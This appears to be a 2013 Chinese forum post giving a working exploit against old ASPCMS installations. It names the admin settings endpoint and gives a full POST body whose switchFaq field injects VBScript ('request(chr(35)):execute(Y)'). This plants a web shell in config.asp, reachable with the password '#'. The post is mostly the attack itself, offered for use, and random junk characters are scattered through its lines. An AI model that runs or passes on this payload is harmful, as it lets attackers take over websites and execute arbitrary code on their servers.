老的ASPCMS版本的秒杀拿SHELL漏洞* w' n! b. n: h4 Z* b
( M# }( ?- Z( u0 R3 c' e7 G
找到后台。。。然后
6 K. _$ [2 t( v* U! x6 ~/ _ , `+ ^( j* N7 V2 p! V
/admin/_system/AspCms_SiteSetting.asp?action=saves# f* r/ G, t0 l3 z
$ j! ]3 t4 u* d
直接POST+ K1 s# X& D7 q' W" {* r0 f2 h
$ |0 c# `9 K5 s/ f, N2 c& l' A3 _
runMode=1&siteMode=1&siteHelp=%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0&SwitchComments=1&SwitchCommentsStatus=1&switchFaq=0:Y=request(chr(35)):execute(Y)&SwitchFaqStatus=0&dirtyStr=&waterMark=1&waterMarkFont=hahahaha&waterMarkLocation=1&smtp_usermail=aspcmstest%40163.com&smtp_user=aspcmstest&smtp_password=aspcms.cn&smtp_server=smtp.163.com&MessageAlertsEmail=13322712%40qq.com&messageReminded=1&orderReminded=1&applyReminded=1&commentReminded=1&LanguageID=1
% K$ ?/ P R' r4 W- ~) E
7 g. [6 l* S( y再连接配置文件config.asp 密码为#: U' i1 }; `- w' ~- Z( ?! F4 D. |
|
发表于 2013-2-4 16:18:35
收藏
支持
反对